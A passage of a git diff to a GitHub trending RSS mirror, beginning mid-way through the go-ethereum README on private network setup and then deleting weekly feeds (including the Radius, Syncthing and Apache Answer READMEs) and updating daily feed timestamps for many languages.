own programming environments' capabilities (libraries, tools, etc) to connect via HTTP, WS or IPC to a <code>geth</code> node configured with the above flags and you'll need to speak <a href="https://www.jsonrpc.org/specification">JSON-RPC</a> on all transports. You can reuse the same connection for multiple requests!</p> <p><strong>Note: Please understand the security implications of opening up an HTTP/WS based transport before doing so! Hackers on the internet are actively trying to subvert Ethereum nodes with exposed APIs! Further, all browser tabs can access locally running web servers, so malicious web pages could try to subvert locally available APIs!</strong></p> <h3>Operating a private network</h3> <p>Maintaining your own private network is more involved as a lot of configurations taken for granted in the official networks need to be manually set up.</p> <h4>Defining the private genesis state</h4> <p>First, you'll need to create the genesis state of your networks, which all nodes need to be aware of and agree upon. This consists of a small JSON file (e.g. call it <code>genesis.json</code>):</p> <pre><code class="language-json">{ "config": { "chainId": &lt;arbitrary positive integer&gt;, "homesteadBlock": 0, "eip150Block": 0, "eip155Block": 0, "eip158Block": 0, "byzantiumBlock": 0, "constantinopleBlock": 0, "petersburgBlock": 0, "istanbulBlock": 0, "berlinBlock": 0, "londonBlock": 0 }, "alloc": {}, "coinbase": "0x0000000000000000000000000000000000000000", "difficulty": "0x20000", "extraData": "", "gasLimit": "0x2fefd8", "nonce": "0x0000000000000042", "mixhash": "0x0000000000000000000000000000000000000000000000000000000000000000", "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "timestamp": "0x00" } </code></pre> <p>The above fields should be fine for most purposes, although we'd recommend changing the <code>nonce</code> to some random value so you prevent unknown remote nodes from being able to connect to you. If you'd like to pre-fund some accounts for easier testing, create the accounts and populate the <code>alloc</code> field with their addresses.</p> <pre><code class="language-json">"alloc": { "0x0000000000000000000000000000000000000001": { "balance": "111111111" }, "0x0000000000000000000000000000000000000002": { "balance": "222222222" } } </code></pre> <p>With the genesis state defined in the above JSON file, you'll need to initialize <strong>every</strong> <code>geth</code> node with it prior to starting it up to ensure all blockchain parameters are correctly set:</p> <pre><code class="language-shell">$ geth init path/to/genesis.json </code></pre> <h4>Creating the rendezvous point</h4> <p>With all nodes that you want to run initialized to the desired genesis state, you'll need to start a bootstrap node that others can use to find each other in your network and/or over the internet. The clean way is to configure and run a dedicated bootnode:</p> <pre><code class="language-shell">$ bootnode --genkey=boot.key $ bootnode --nodekey=boot.key </code></pre> <p>With the bootnode online, it will display an <a href="https://ethereum.org/en/developers/docs/networking-layer/network-addresses/#enode"><code>enode</code> URL</a> that other nodes can use to connect to it and exchange peer information. Make sure to replace the displayed IP address information (most probably <code>[::]</code>) with your externally accessible IP to get the actual <code>enode</code> URL.</p> <p><em>Note: You could also use a full-fledged <code>geth</code> node as a bootnode, but it's the less recommended way.</em></p> <h4>Starting up your member nodes</h4> <p>With the bootnode operational and externally reachable (you can try <code>telnet &lt;ip&gt; &lt;port&gt;</code> to ensure it's indeed reachable), start every subsequent <code>geth</code> node pointed to the bootnode for peer discovery via the <code>--bootnodes</code> flag. It will probably also be desirable to keep the data directory of your private network separated, so do also specify a custom <code>--datadir</code> flag.</p> <pre><code class="language-shell">$ geth --datadir=path/to/custom/data/folder --bootnodes=&lt;bootnode-enode-url-from-above&gt; </code></pre> <p><em>Note: Since your network will be completely cut off from the main and test networks, you'll also need to configure a miner to process transactions and create new blocks for you.</em></p> <h4>Running a private miner</h4> <p>In a private network setting a single CPU miner instance is more than enough for practical purposes as it can produce a stable stream of blocks at the correct intervals without needing heavy resources (consider running on a single thread, no need for multiple ones either). To start a <code>geth</code> instance for mining, run it with all your usual flags, extended by:</p> <pre><code class="language-shell">$ geth &lt;usual-flags&gt; --mine --miner.threads=1 --miner.etherbase=0x0000000000000000000000000000000000000000 </code></pre> <p>Which will start mining blocks and transactions on a single CPU thread, crediting all proceedings to the account specified by <code>--miner.etherbase</code>. You can further tune the mining by changing the default gas limit blocks converge to (<code>--miner.targetgaslimit</code>) and the price transactions are accepted at (<code>--miner.gasprice</code>).</p> <h2>Contribution</h2> <p>Thank you for considering helping out with the source code! We welcome contributions from anyone on the internet, and are grateful for even the smallest of fixes!</p> <p>If you'd like to contribute to go-ethereum, please fork, fix, commit and send a pull request for the maintainers to review and merge into the main code base. If you wish to submit more complex changes though, please check up with the core devs first on <a href="https://discord.gg/invite/nthXNEv">our Discord Server</a> to ensure those changes are in line with the general philosophy of the project and/or get some early feedback which can make both your efforts much lighter as well as our review and merge procedures quick and simple.</p> <p>Please make sure your contributions adhere to our coding guidelines:</p> <ul> <li>Code must adhere to the official Go <a href="https://golang.org/doc/effective_go.html#formatting">formatting</a> guidelines (i.e. uses <a href="https://golang.org/cmd/gofmt/">gofmt</a>).</li> <li>Code must be documented adhering to the official Go <a href="https://golang.org/doc/effective_go.html#commentary">commentary</a> guidelines.</li> <li>Pull requests need to be based on and opened against the <code>master</code> branch.</li> <li>Commit messages should be prefixed with the package(s) they modify. <ul> <li>E.g. "eth, rpc: make trace configs optional"</li> </ul> </li> </ul> <p>Please see the <a href="https://geth.ethereum.org/docs/developers/geth-developer/dev-guide">Developers' Guide</a> for more details on configuring your environment, managing project dependencies, and testing procedures.</p> <h3>Contributing to geth.ethereum.org</h3> <p>For contributions to the <a href="https://geth.ethereum.org">go-ethereum website</a>, please checkout and raise pull requests against the <code>website</code> branch. For more detailed instructions please see the <code>website</code> branch <a href="https://github.com/ethereum/go-ethereum/tree/website#readme">README</a> or the <a href="https://geth.ethereum.org/docs/developers/geth-developer/contributing">contributing</a> page of the website.</p> <h2>License</h2> <p>The go-ethereum library (i.e. all code outside of the <code>cmd</code> directory) is licensed under the <a href="https://www.gnu.org/licenses/lgpl-3.0.en.html">GNU Lesser General Public License v3.0</a>, also included in our repository in the <code>COPYING.LESSER</code> file.</p> <p>The go-ethereum binaries (i.e. all code inside of the <code>cmd</code> directory) are licensed under the <a href="https://www.gnu.org/licenses/gpl-3.0.en.html">GNU General Public License v3.0</a>, also included in our repository in the <code>COPYING</code> file.</p> \ No newline at end of file diff --git a/go/weekly/index.xml b/go/weekly/index.xml deleted file mode 100644 index 8b2e18a9890..00000000000 --- a/go/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Go Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:01Z - Weekly Trending of Go in GitHub - - - radius-project/radius - 2023-10-29T01:53:01Z - tag:github.com,2023-10-29:/radius-project/radius - - <p>Radius is a cloud-native, portable application platform that makes app development easier for teams building cloud-native apps.</p><hr><h1>Radius</h1> <p>Radius is a cloud-native application platform that enables developers and the platform engineers that support them to collaborate on delivering and managing cloud-native applications that follow organizational best practices for cost, operations and security, by default. Radius is an open-source project that supports deploying applications across private cloud, Microsoft Azure, and Amazon Web Services, with more cloud providers to come.</p> <h2>Overview</h2> <p>The evolution of cloud computing has increased the speed of innovation for many companies, whether they are building 2 and 3-tier applications, or complex microservice-based applications. Cloud native technologies like Kubernetes have made it easier to build applications that can run anywhere. At the same time, many applications have become more complex, and managing them in the cloud increasingly difficult, as companies build cloud-native applications composed of interconnected services and deploy them to multiple public clouds and their private infrastructure. While Kubernetes is a key enabler, we see many organizations building abstractions over Kubernetes, usually focused on compute, to work around its limitations: Kubernetes has no formal definition of an application, it mingles infrastructure and application concepts and it is overwhelmingly complex. Developers also inevitably realize their applications require much more than Kubernetes, including support for dependencies like application programming interface (API) front ends, key/value stores, caches, and observability systems. Amidst these challenges for developers, their corporate IT counterparts also must enforce an ever-growing matrix of corporate standards, compliance, and security requirements, while enabling rapid application innovation.</p> <p>Radius was designed to address these distinct but related challenges that arise across development and operations as companies continue their journey to cloud. Radius meets application teams where they are by supporting proven technologies like Kubernetes, existing infrastructure tools including Terraform and Bicep and by integrating with existing CI/CD systems like GitHub Actions. Radius supports multi-tier web-plus-data to complex microservice applications like eShop, a popular cloud reference application from Microsoft.</p> <p>Key features of the Radius platform include:</p> <ul> <li><em>Team Collaboration</em>: Radius Applications and Environments allow developers to work with Operations on application definition and delivery.</li> <li><em>Infrastructure Recipes</em>: Swappable infrastructure that complies with organization best practicies and IT policy be default.</li> <li><em>Application Graph</em>: Understand how services and infrastructure in an application are interconnected.</li> <li><em>Cloud Neutral</em>: Deploy across development, on-premises and cloud environments with a consistent experience.</li> <li><em>Incremental Adoption</em>: Integrate Radius into existing workflows and existing catalogs of Infrastructure-as-Code templates.</li> </ul> <h2>Release status</h2> <p>This is an early release of Radius which enables the community to learn about and experiment with the platform. Please let us know what you think and open Issues when you find bugs or want to request a new feature. Radius is not yet ready for production workloads.</p> <h2>Getting started</h2> <ol> <li>Follow the <a href="https://docs.radapp.io/getting-started/">getting started guide</a> to install and try out Radius</li> <li>Visit the <a href="https://docs.radapp.io/tutorials">Tutorials</a> and <a href="https://docs.radapp.io/guides">User Guides</a> to learn more about Radius and start radifying your apps</li> </ol> <h2>Getting help</h2> <ul> <li>❓ <strong>Have a question?</strong> - Visit our <a href="https://discord.gg/SRG3ePMKNy">Discord server</a> to post your question and we'll get back to you ASAP</li> <li>⚠️ <strong>Found an issue?</strong> - Refer to our <a href="https://raw.githubusercontent.com/radius-project/radius/main/docs/contributing/contributing-issues">Issues guide</a> for instructions on filing a bug report</li> <li>💡 <strong>Have a proposal?</strong> - Refer to our <a href="https://raw.githubusercontent.com/radius-project/radius/main/docs/contributing/contributing-issues">Issues guide</a> for instructions on filing a feature request</li> </ul> <h2>Community</h2> <p>We welcome your contributions and suggestions! One of the easiest ways to contribute is to participate in Issue discussions, chat on <a href="https://discord.gg/SRG3ePMKNy">Discord server</a> or the monthly <a href="https://raw.githubusercontent.com/radius-project/radius/main/#community-calls">community calls</a>. For more information on the community engagement, developer and contributing guidelines and more, head over to the <a href="https://github.com/radius-project/community">Radius community repo</a>.</p> <h3>Contact us</h3> <p>Please visit our <a href="https://discord.gg/SRG3ePMKNy">Discord server</a> to contact us and we'll get back to you ASAP.</p> <h3>Community calls</h3> <p>Every month we host a community call to showcase new features, review upcoming milestones, and engage in a Q&amp;A. All are welcome!</p> <p>📞 Visit our <a href="https://github.com/radius-project/community/#community-meetings">community meetings</a> page for upcoming dates and the meeting link.</p> <h2>Contributing to Radius</h2> <p>Visit <a href="https://raw.githubusercontent.com/radius-project/radius/main/CONTRIBUTING.md">Contributing</a> for more information on how to contribute to Radius. To author Radius Recipes visit <a href="https://docs.radapp.io/guides/recipes/howto-author-recipes/">Author Custom Radius Recipes</a>. To contribute to Radius documentation visit <a href="https://docs.radapp.io/contributing/docs/">Radius documentation</a></p> <h2>Repositories</h2> <p><a href="https://github.com/radius-project/radius">Radius</a> is the main Radius repository. It contains all of Radius code and documentation. In addition, we have the below repositories.</p> <table> <thead> <tr> <th align="left">Repo</th> <th align="left">Description</th> </tr> </thead> <tbody> <tr> <td align="left"><a href="https://github.com/radius-project/docs">Docs</a></td> <td align="left">This repository contains the Radius documentation source for Radius.</td> </tr> <tr> <td align="left"><a href="https://github.com/radius-project/samples">Samples</a></td> <td align="left">This repository contains the source code for quickstarts, reference apps, and tutorials for Radius.</td> </tr> <tr> <td align="left"><a href="https://github.com/radius-project/recipes">Recipes</a></td> <td align="left">This repo contains commonly used Recipe templates for Radius Environments.</td> </tr> <tr> <td align="left"><a href="https://github.com/radius-project/website">Website</a></td> <td align="left">This repository contains the source code for the Radius website.</td> </tr> <tr> <td align="left"><a href="https://github.com/radius-project/bicep">Bicep</a></td> <td align="left">This repository contains source code for Bicep, which is a DSL for deploying cloud resources types.</td> </tr> <tr> <td align="left"><a href="https://github.com/radius-project/bicep-types-aws">AWS Bicep Types</a></td> <td align="left">This repository contains the tooling for Bicep support for AWS resource types.</td> </tr> </tbody> </table> <h2>Security</h2> <p>Please refer to our guide on <a href="https://raw.githubusercontent.com/radius-project/radius/main/SECURITY.md">Reporting security vulnerabilities</a></p> <h2>Code of conduct</h2> <p>Please refer to our <a href="https://github.com/radius-project/community/raw/main/CODE-OF-CONDUCT.md">Radius Community Code of Conduct</a></p> - - - syncthing/syncthing - 2023-10-29T01:53:01Z - tag:github.com,2023-10-29:/syncthing/syncthing - - <p>Open Source Continuous File Synchronization</p><hr><p><a href="https://syncthing.net/"><img src="https://raw.githubusercontent.com/syncthing/syncthing/main/assets/logo-text-128.png" alt="Syncthing"></a></p> <hr> <p><a href="https://www.mozilla.org/MPL/2.0/"><img src="https://img.shields.io/badge/license-MPLv2-blue.svg?style=flat-square" alt="MPLv2 License"></a> <a href="https://bestpractices.coreinfrastructure.org/projects/88"><img src="https://bestpractices.coreinfrastructure.org/projects/88/badge" alt="CII Best Practices"></a> <a href="https://goreportcard.com/report/github.com/syncthing/syncthing"><img src="https://goreportcard.com/badge/github.com/syncthing/syncthing" alt="Go Report Card"></a></p> <h2>Goals</h2> <p>Syncthing is a <strong>continuous file synchronization program</strong>. It synchronizes files between two or more computers. We strive to fulfill the goals below. The goals are listed in order of importance, the most important ones first. This is the summary version of the goal list - for more commentary, see the full <a href="https://github.com/syncthing/syncthing/raw/main/GOALS.md">Goals document</a>.</p> <p>Syncthing should be:</p> <ol> <li> <p><strong>Safe From Data Loss</strong></p> <p>Protecting the user's data is paramount. We take every reasonable precaution to avoid corrupting the user's files.</p> </li> <li> <p><strong>Secure Against Attackers</strong></p> <p>Again, protecting the user's data is paramount. Regardless of our other goals, we must never allow the user's data to be susceptible to eavesdropping or modification by unauthorized parties.</p> </li> <li> <p><strong>Easy to Use</strong></p> <p>Syncthing should be approachable, understandable, and inclusive.</p> </li> <li> <p><strong>Automatic</strong></p> <p>User interaction should be required only when absolutely necessary.</p> </li> <li> <p><strong>Universally Available</strong></p> <p>Syncthing should run on every common computer. We are mindful that the latest technology is not always available to every individual.</p> </li> <li> <p><strong>For Individuals</strong></p> <p>Syncthing is primarily about empowering the individual user with safe, secure, and easy to use file synchronization.</p> </li> <li> <p><strong>Everything Else</strong></p> <p>There are many things we care about that don't make it on to the list. It is fine to optimize for these values, as long as they are not in conflict with the stated goals above.</p> </li> </ol> <h2>Getting Started</h2> <p>Take a look at the <a href="https://docs.syncthing.net/intro/getting-started.html">getting started guide</a>.</p> <p>There are a few examples for keeping Syncthing running in the background on your system in <a href="https://github.com/syncthing/syncthing/raw/main/etc">the etc directory</a>. There are also several <a href="https://docs.syncthing.net/users/contrib.html#gui-wrappers">GUI implementations</a> for Windows, Mac, and Linux.</p> <h2>Docker</h2> <p>To run Syncthing in Docker, see <a href="https://github.com/syncthing/syncthing/raw/main/README-Docker.md">the Docker README</a>.</p> <h2>Vote on features/bugs</h2> <p>We'd like to encourage you to <a href="https://www.bountysource.com/teams/syncthing/issues">vote</a> on issues that matter to you. This helps the team understand what are the biggest pain points for our users, and could potentially influence what is being worked on next.</p> <h2>Getting in Touch</h2> <p>The first and best point of contact is the <a href="https://forum.syncthing.net/">Forum</a>. If you've found something that is clearly a bug, feel free to report it in the <a href="https://github.com/syncthing/syncthing/issues">GitHub issue tracker</a>.</p> <p>If you believe that you’ve found a Syncthing-related security vulnerability, please report it by emailing <a href="mailto:security@syncthing.net">security@syncthing.net</a>. Do not report it in the Forum or issue tracker.</p> <h2>Building</h2> <p>Building Syncthing from source is easy. After extracting the source bundle from a release or checking out git, you just need to run <code>go run build.go</code> and the binaries are created in <code>./bin</code>. There's <a href="https://docs.syncthing.net/dev/building.html">a guide</a> with more details on the build process.</p> <h2>Signed Releases</h2> <p>As of v0.10.15 and onwards, release binaries are GPG signed with the key D26E6ED000654A3E, available from <a href="https://syncthing.net/security.html">https://syncthing.net/security.html</a> and most key servers.</p> <p>There is also a built-in automatic upgrade mechanism (disabled in some distribution channels) which uses a compiled in ECDSA signature. macOS binaries are also properly code signed.</p> <h2>Documentation</h2> <p>Please see the Syncthing <a href="https://docs.syncthing.net/">documentation site</a> <a href="https://github.com/syncthing/docs">[source]</a>.</p> <p>All code is licensed under the <a href="https://github.com/syncthing/syncthing/raw/main/LICENSE">MPLv2 License</a>.</p> - - - apache/incubator-answer - 2023-10-29T01:53:01Z - tag:github.com,2023-10-29:/apache/incubator-answer - - <p>A Q&A platform software for teams at any scales. Whether it's a community forum, help center, or knowledge management platform, you can always count on Answer.</p><hr><a href="https://answer.dev"> <img alt="logo" src="https://raw.githubusercontent.com/apache/incubator-answer/main/docs/img/logo.svg?sanitize=true" height="99px"> </a> <h1>Answer - Build Q&amp;A platform</h1> <p>A Q&amp;A platform software for teams at any scales. Whether it’s a community forum, help center, or knowledge management platform, you can always count on Answer.</p> <p>To learn more about the project, visit <a href="https://answer.dev">answer.dev</a>.</p> <p><a href="https://github.com/answerdev/answer/raw/main/LICENSE"><img src="https://img.shields.io/github/license/answerdev/answer" alt="LICENSE"></a> <a href="https://golang.org/"><img src="https://img.shields.io/badge/language-go-blue.svg?sanitize=true" alt="Language"></a> <a href="https://reactjs.org/"><img src="https://img.shields.io/badge/language-react-blue.svg?sanitize=true" alt="Language"></a> <a href="https://goreportcard.com/report/github.com/answerdev/answer"><img src="https://goreportcard.com/badge/github.com/answerdev/answer" alt="Go Report Card"></a> <a href="https://discord.gg/Jm7Y4cbUej"><img src="https://img.shields.io/badge/discord-chat-5865f2?logo=discord&amp;logoColor=f5f5f5" alt="Discord"></a></p> <h2>Screenshots</h2> <p><img src="https://raw.githubusercontent.com/apache/incubator-answer/main/docs/img/screenshot.png" alt="screenshot"></p> <h2>Quick start</h2> <h3>Running with docker</h3> <pre><code class="language-bash">docker run -d -p 9080:80 -v answer-data:/data --name answer answerdev/answer:latest </code></pre> <p>For more information, see <a href="https://answer.dev/docs/installation">Installation</a></p> <h3>Plugins</h3> <p>Answer provides a plugin system for developers to create custom plugins and expand Answer’s features. You can find the <a href="https://answer.dev/docs/development/extending/">plugin documentation here</a>.</p> <p>We value your feedback and suggestions to improve our documentation. If you have any comments or questions, please feel free to contact us. We’re excited to see what you can create using our plugin system!</p> <p>You can also check out the <a href="https://github.com/answerdev/plugins">plugins here</a>.</p> <h2>Contributing</h2> <p>Contributions are always welcome!</p> <p>See <a href="https://answer.dev/docs/development/contributing/">CONTRIBUTING</a> for ways to get started.</p> <h2>License</h2> <p><a href="https://github.com/answerdev/answer/raw/main/LICENSE">Apache License 2.0</a></p> - - \ No newline at end of file diff --git a/golo/daily/index.xml b/golo/daily/index.xml index c117f99d824..41617014041 100644 --- a/golo/daily/index.xml +++ b/golo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Golo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:38Z + 2023-10-30T01:28:43Z Daily Trending of Golo in GitHub \ No newline at end of file diff --git a/golo/weekly/index.xml b/golo/weekly/index.xml deleted file mode 100644 index 6dc0ff58196..00000000000 --- a/golo/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Golo Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:15Z - Weekly Trending of Golo in GitHub - - \ No newline at end of file diff --git a/gosu/daily/index.xml b/gosu/daily/index.xml index 0feade36a6a..ef7032813e6 100644 --- a/gosu/daily/index.xml +++ b/gosu/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gosu Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:37Z + 2023-10-30T01:28:42Z Daily Trending of Gosu in GitHub \ No newline at end of file diff --git a/gosu/weekly/index.xml b/gosu/weekly/index.xml deleted file mode 100644 index 1cc106747a7..00000000000 --- a/gosu/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gosu Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:14Z - Weekly Trending of Gosu in GitHub - - \ No newline at end of file diff --git a/grace/daily/index.xml b/grace/daily/index.xml index 432f1c48e91..596f29d7c9e 100644 --- a/grace/daily/index.xml +++ b/grace/daily/index.xml @@ -1,7 +1,7 @@ GitHub Grace Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:39Z + 2023-10-30T01:28:45Z Daily Trending of Grace in GitHub \ No newline at end of file diff --git a/grace/weekly/index.xml b/grace/weekly/index.xml deleted file mode 100644 index fde2ab6caa5..00000000000 --- a/grace/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Grace Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:18Z - Weekly Trending of Grace in GitHub - - \ No newline at end of file diff --git a/gradle/daily/index.xml b/gradle/daily/index.xml index d05def3784d..95717675615 100644 --- a/gradle/daily/index.xml +++ b/gradle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gradle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:41Z + 2023-10-30T01:28:45Z Daily Trending of Gradle in GitHub \ No newline at end of file diff --git a/gradle/weekly/index.xml b/gradle/weekly/index.xml deleted file mode 100644 index 3623e4b1fce..00000000000 --- a/gradle/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gradle Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:19Z - Weekly Trending of Gradle in GitHub - - \ No newline at end of file diff --git a/grammatical-framework/daily/index.xml b/grammatical-framework/daily/index.xml index 31d881aef80..1aac6ef489b 100644 --- a/grammatical-framework/daily/index.xml +++ b/grammatical-framework/daily/index.xml @@ -1,7 +1,7 @@ GitHub Grammatical Framework Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:40Z + 2023-10-30T01:28:46Z Daily Trending of Grammatical Framework in GitHub \ No newline at end of file diff --git a/grammatical-framework/weekly/index.xml b/grammatical-framework/weekly/index.xml deleted file mode 100644 index e236fe70332..00000000000 --- a/grammatical-framework/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Grammatical Framework Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:17Z - Weekly Trending of Grammatical Framework in GitHub - - \ No newline at end of file diff --git a/graph-modeling-language/daily/index.xml b/graph-modeling-language/daily/index.xml index 059f39ebc16..43b51030c02 100644 --- a/graph-modeling-language/daily/index.xml +++ b/graph-modeling-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Graph Modeling Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:43Z + 2023-10-30T01:28:49Z Daily Trending of Graph Modeling Language in GitHub \ No newline at end of file diff --git a/graph-modeling-language/weekly/index.xml b/graph-modeling-language/weekly/index.xml deleted file mode 100644 index d9d101ffce8..00000000000 --- a/graph-modeling-language/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Graph Modeling Language Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:21Z - Weekly Trending of Graph Modeling Language in GitHub - - \ No newline at end of file diff --git a/graphql/daily/index.xml b/graphql/daily/index.xml index e2003ea8a33..0b7c234ffa5 100644 --- a/graphql/daily/index.xml +++ b/graphql/daily/index.xml @@ -1,7 +1,7 @@ GitHub GraphQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:45Z + 2023-10-30T01:28:48Z Daily Trending of GraphQL in GitHub \ No newline at end of file diff --git a/graphql/weekly/index.xml b/graphql/weekly/index.xml deleted file mode 100644 index 182c81f5395..00000000000 --- a/graphql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GraphQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:20Z - Weekly Trending of GraphQL in GitHub - - \ No newline at end of file diff --git a/graphviz-(dot)/daily/index.xml b/graphviz-(dot)/daily/index.xml index a960508e2af..55bb8e5654e 100644 --- a/graphviz-(dot)/daily/index.xml +++ b/graphviz-(dot)/daily/index.xml @@ -1,7 +1,7 @@ GitHub Graphviz (DOT) Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:44Z + 2023-10-30T01:28:48Z Daily Trending of Graphviz (DOT) in GitHub \ No newline at end of file diff --git a/graphviz-(dot)/weekly/index.xml b/graphviz-(dot)/weekly/index.xml deleted file mode 100644 index 18654636d89..00000000000 --- a/graphviz-(dot)/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Graphviz (DOT) Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:22Z - Weekly Trending of Graphviz (DOT) in GitHub - - \ No newline at end of file diff --git a/groovy-server-pages/daily/index.xml b/groovy-server-pages/daily/index.xml index b6afb7b2a9e..bf4fe5e3fd3 100644 --- a/groovy-server-pages/daily/index.xml +++ b/groovy-server-pages/daily/index.xml @@ -1,7 +1,7 @@ GitHub Groovy Server Pages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:51Z + 2023-10-30T01:28:52Z Daily Trending of Groovy Server Pages in GitHub \ No newline at end of file diff --git a/groovy-server-pages/weekly/index.xml b/groovy-server-pages/weekly/index.xml deleted file mode 100644 index ef4bdc33168..00000000000 --- a/groovy-server-pages/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Groovy Server Pages Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:28Z - Weekly Trending of Groovy Server Pages in GitHub - - \ No newline at end of file diff --git a/groovy/daily/index.xml b/groovy/daily/index.xml index 14364dfbb05..6d1447cb0ed 100644 --- a/groovy/daily/index.xml +++ b/groovy/daily/index.xml @@ -1,7 +1,14 @@ GitHub Groovy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:47Z + 2023-10-30T01:28:51Z Daily Trending of Groovy in GitHub + + micronaut-projects/micronaut-flyway + 2023-10-30T01:28:51Z + tag:github.com,2023-10-30:/micronaut-projects/micronaut-flyway + + <p>Integration between Micronaut and Flyway</p><hr> + \ No newline at end of file diff --git a/groovy/weekly/index.xml b/groovy/weekly/index.xml deleted file mode 100644 index 922c69bc3e3..00000000000 --- a/groovy/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Groovy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:25Z - Weekly Trending of Groovy in GitHub - - - senacor/Hacking-Days-2013 - 2023-10-29T01:53:25Z - tag:github.com,2023-10-29:/senacor/Hacking-Days-2013 - - <p></p><hr> - - - aim42/htmlSanityCheck - 2023-10-29T01:53:25Z - tag:github.com,2023-10-29:/aim42/htmlSanityCheck - - <p>Standalone (batch- and command-line) and Gradle-plugin html sanity checker - detects missing images, dead links and cross-references, duplicate link targets (anchors) and the like.</p><hr> - - - lut23/EC-Research-Project-Matt---Braden- - 2023-10-29T01:53:25Z - tag:github.com,2023-10-29:/lut23/EC-Research-Project-Matt---Braden- - - <p>Reaserch to see which of the three selecting algorithms (Fitness-proportionate selection, Stochastic universal sampling, and Tournament selection) have the most consistent results of returning an individual with the highest fitness</p><hr> - - \ No newline at end of file diff --git a/gsc/daily/index.xml b/gsc/daily/index.xml index 8690437dd4e..58c6d85ef51 100644 --- a/gsc/daily/index.xml +++ b/gsc/daily/index.xml @@ -1,7 +1,7 @@ GitHub GSC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:50Z + 2023-10-30T01:28:53Z Daily Trending of GSC in GitHub \ No newline at end of file diff --git a/gsc/weekly/index.xml b/gsc/weekly/index.xml deleted file mode 100644 index ef8f7fba5cf..00000000000 --- a/gsc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GSC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:28Z - Weekly Trending of GSC in GitHub - - \ No newline at end of file diff --git a/hack/daily/index.xml b/hack/daily/index.xml index 9b36f9f76b0..7927fac0b76 100644 --- a/hack/daily/index.xml +++ b/hack/daily/index.xml @@ -1,7 +1,7 @@ GitHub Hack Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:51Z + 2023-10-30T01:28:54Z Daily Trending of Hack in GitHub \ No newline at end of file diff --git a/hack/weekly/index.xml b/hack/weekly/index.xml deleted file mode 100644 index fe8fbe9848f..00000000000 --- a/hack/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Hack Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:27Z - Weekly Trending of Hack in GitHub - - \ No newline at end of file diff --git a/haml/daily/index.xml b/haml/daily/index.xml index 2a12e1d7f3d..7272efc82bd 100644 --- a/haml/daily/index.xml +++ b/haml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Haml Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:49Z + 2023-10-30T01:28:52Z Daily Trending of Haml in GitHub \ No newline at end of file diff --git a/haml/weekly/index.xml b/haml/weekly/index.xml deleted file mode 100644 index f26fe89fbf3..00000000000 --- a/haml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Haml Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:26Z - Weekly Trending of Haml in GitHub - - \ No newline at end of file diff --git a/handlebars/daily/index.xml b/handlebars/daily/index.xml index 888b2a3e387..2495ac6121e 100644 --- a/handlebars/daily/index.xml +++ b/handlebars/daily/index.xml @@ -1,7 +1,14 @@ GitHub Handlebars Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:57Z + 2023-10-30T01:28:57Z Daily Trending of Handlebars in GitHub + + discourse/discourse-category-groups-component + 2023-10-30T01:28:57Z + tag:github.com,2023-10-30:/discourse/discourse-category-groups-component + + <p>Group categories on your Discourse categories page</p><hr> + \ No newline at end of file diff --git a/handlebars/weekly/index.xml b/handlebars/weekly/index.xml deleted file mode 100644 index 70279d5e795..00000000000 --- a/handlebars/weekly/index.xml +++ /dev/null @@ -1,7 